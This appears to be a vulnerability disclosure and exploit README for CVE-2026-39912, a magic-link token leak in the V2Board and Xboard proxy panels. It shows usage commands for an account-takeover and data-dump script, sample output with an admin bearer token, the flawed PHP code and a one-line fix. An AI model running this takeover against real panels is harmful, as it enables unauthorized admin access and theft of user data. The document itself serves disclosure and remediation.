Magic Link Token Leak in loginWithMailLink
| CVE | CVE-2026-39912 |
| CVSS | 9.1 (Critical) |
| CWE | CWE-201 (Insertion of Sensitive Information Into Sent Data) |
| Affected | V2Board >= 1.6.1 through 1.7.4 / Xboard all versions through 0.1.9+ |
| Fixed | Not yet (V2Board abandoned since June 2023) |
| Disclosed | 2026-04-09 |
| Credit | Valentin Lobstein (Chocapikk) |
| Writeup | chocapikk.com |
| Fix PRs | V2Board #981 / Xboard #873 |
The loginWithMailLink endpoint returns the magic login link directly in the HTTP response body instead of only sending it via email. An unauthenticated attacker who knows a registered email can take over any account - including admin - in two HTTP requests.
- V2Board - Open-source proxy protocol management panel (8.7k stars, abandoned)
- Xboard - Fork of V2Board (4k+ stars, actively maintained)
Both are widely deployed VPN/proxy panels, primarily in China. ZoomEye shows 7,000+ instances exposed on the internet.
login_with_mail_link_enablemust be enabled in admin settings (not enabled by default)- A valid registered email address
# Install dependencies
pip install requests
# Account takeover + data dump
python3 exploit.py http://target:7001 admin@demo.com
# Save dump to file
python3 exploit.py http://target:7001 admin@demo.com -o dump.json$ python3 exploit.py http://target:7001 admin@demo.com
Xboard / V2Board - Unauth Account Takeover
Magic Link Token Leak (CVE-2026-39912) | by Choc
V2Board >= 1.6.1 | Xboard <= 0.1.9+
45 min from git clone to is_admin: true
[INFO] Requesting magic link for admin@demo.com
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK
{
"auth": {
"auth_data": "Bearer qCU2d9hS...",
"is_admin": true
},
"dump": {
"User Info": {
"email": "admin@demo.com",
"uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
...
},
"Subscription": {
"subscribe_url": "http://target:7001/s/324396af...",
...
},
"Active Sessions": [ ... ]
}
}
V2Board (app/Http/Controllers/Passport/AuthController.php):
SendEmailJob::dispatch([...]);
return response([
'data' => $link // Token leaked to caller
]);Xboard (app/Services/Auth/MailLinkService.php):
$this->sendMailLinkEmail($user, $link);
return [true, $link]; // Same bug, inherited from fork- return [true, $link];
+ return [true, true];